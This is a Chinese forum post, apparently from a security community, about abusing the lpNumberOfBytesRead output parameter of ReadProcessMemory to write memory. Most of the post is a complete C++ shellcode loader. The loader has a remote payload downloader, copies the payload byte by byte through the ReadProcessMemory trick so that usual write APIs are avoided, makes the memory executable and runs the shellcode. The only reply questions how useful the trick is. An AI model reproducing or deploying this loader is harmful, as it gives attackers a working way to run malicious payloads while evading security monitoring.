首页
社区
课程
招聘
使用ReadProcessMemory写入内存
发表于: 2025-12-13 20:27 1052

使用ReadProcessMemory写入内存

2025-12-13 20:27
1052

为什么 ReadProcessMemory 能写内存?

原理解释

ReadProcessMemory 的函数签名:

BOOL ReadProcessMemory(
HANDLE  hProcess,
LPCVOID lpBaseAddress,
LPVOID  lpBuffer,
SIZE_T  nSize,
SIZE_T  *lpNumberOfBytesRead  // 《---关键参数
);

正常用途:

  • lpNumberOfBytesRead 是一个输出参数,用于存储实际读取的字节数
  • Windows 会将读取的字节数写入到这个指针指向的地址

将 lpNumberOfBytesRead 指向目标内存地址

SIZE_T* writeTarget = reinterpret_cast<SIZE_T*>(memoryAlloc + i);通过
SIZE_T nsize = sourceBytes[i];  // 这个值会被写入lpNumberOfBytesRead

Windows API 会自动将 nSize 的值写入 writeTarget 指向的地址

ReadProcessMemory 内部会执行:*lpNumberOfBytesRead = nSize

示例

写入字节 0x90(NOP指令):

ReadProcessMemory(
currentProcess,
memoryAlloc,
dummyBuffer,
0x90,//写入的值
(SIZE_T*)(target)  // 写入的目标地址
);


最后我用AI转rust源码为CPP版本 如下

#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <fstream>
#include <vector>
#include <string>

#pragma comment(lib, "wininet.lib")

// 详细输出处理函数
void verboseHandler(bool verbose, const std::string& msg, const std::string& type) {
    if (!verbose) return;

    if (type == "info") std::cout << "[i] " << msg << std::endl;
    else if (type == "warning") std::cout << "[!] " << msg << std::endl;
    else if (type == "success") std::cout << "[+] " << msg << std::endl;
    else if (type == "error") std::cout << "[-] " << msg << std::endl;
    else std::cout << "[*] " << msg << std::endl;
}

// 下载远程payload
std::vector<BYTE> downloadPayload(const std::string& url, bool verbose) {
    std::vector<BYTE> result;
    HINTERNET hInternet = InternetOpenA("Downloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) return result;

    HINTERNET hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect) {
        BYTE buffer[4096];
        DWORD bytesRead;
        while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
            result.insert(result.end(), buffer, buffer + bytesRead);
        }
        InternetCloseHandle(hConnect);
    }
    InternetCloseHandle(hInternet);

    verboseHandler(verbose, "Total bytes downloaded: " + std::to_string(result.size()), "success");
    return result;
}

// 间接内存分配和写入
void indirectMemoryAllocation(const std::vector<BYTE>& injectData, bool executePayload, bool verbose) {
    size_t dataSize = injectData.size();
    std::vector<BYTE> dummyBuffer(2, 0);

    // 分配内存
    LPVOID memoryAlloc = VirtualAlloc(
        NULL,
        dataSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    if (memoryAlloc == NULL) {
        verboseHandler(verbose, "Memory allocation failed", "error");
        return;
    }

    verboseHandler(verbose, "Memory offset reserved (hex): 0x" +
        std::to_string(reinterpret_cast<uintptr_t>(memoryAlloc)), "info");
    verboseHandler(verbose, "Memory allocated", "success");

    // 获取当前进程句柄
    HANDLE currentProcess = GetCurrentProcess();
    const BYTE* sourceBytes = injectData.data();

    verboseHandler(verbose, "Writing...", "info");

    // **关键部分:使用ReadProcessMemory写入内存**
    for (size_t i = 0; i < dataSize; i++) {
        // 目标地址(要写入的位置)
        LPVOID destOffset = reinterpret_cast<BYTE*>(memoryAlloc) + i;

        // 要"写入"的值(通过读取的字节数来实现)
        SIZE_T nsize = sourceBytes[i];

        // 滥用lpNumberOfBytesRead参数来写入内存
        SIZE_T* writeTarget = reinterpret_cast<SIZE_T*>(destOffset);

        ReadProcessMemory(
            currentProcess,
            memoryAlloc,           // 源地址(随便读什么都行)
            dummyBuffer.data(),    // 目标缓冲区(我们不关心读到什么)
            nsize,                 // 要读取的字节数(这个值会被写入lpNumberOfBytesRead)
            writeTarget            // 实际读取字节数的指针(这里被滥用为写入目标)
        );
    }

    verboseHandler(verbose, "Data should be copied on memory indirectly with ReadProcessMemory", "success");

    // 如果需要执行payload
    if (executePayload) {
        DWORD oldProtect;

        // 修改内存保护为可执行
        if (VirtualProtect(memoryAlloc, dataSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
            verboseHandler(verbose, "Permissions of the memory changed!", "info");
            verboseHandler(verbose, "Executing the shellcode...", "");

            // 执行shellcode
            typedef void (*ShellcodeFunc)();
            ShellcodeFunc shellcode = reinterpret_cast<ShellcodeFunc>(memoryAlloc);
            shellcode();
        }
    }
}

int main(int argc, char* argv[]) {
    bool verbose = true;
    bool execute = true;

    // 示例:从文件读取payload
    std::ifstream file("payload.bin", std::ios::binary);
    if (!file) {
        verboseHandler(verbose, "Cannot open payload file", "error");
        return 1;
    }

    std::vector<BYTE> payload((std::istreambuf_iterator<char>(file)),
        std::istreambuf_iterator<char>());
    file.close();

    verboseHandler(verbose, "Total bytes to copy: " + std::to_string(payload.size()), "info");

    indirectMemoryAllocation(payload, execute, verbose);

    return 0;
}



原Github链接:

GitHub - mimorep/Indirect-Shellcode-Executor: Indirect-Shellcode-Executor expoits the miss-configuration/vulnerability present on the API Windows method ReadProcessMemory discovered by DarkCoderSc. It exploits the nature of the in/out pointer param named *lpNumberOfBytesRead, that enables to write into process memory without calling common API methods to do so such as memcpy, this is perfect


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2025-12-13 20:36 被ShaShen4404编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 4
活跃值: (6760)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
意思在哪?只能在当前进程使用,和直接复制有啥区别
2025-12-18 18:45
0
游客
登录 | 注册 方可回帖
返回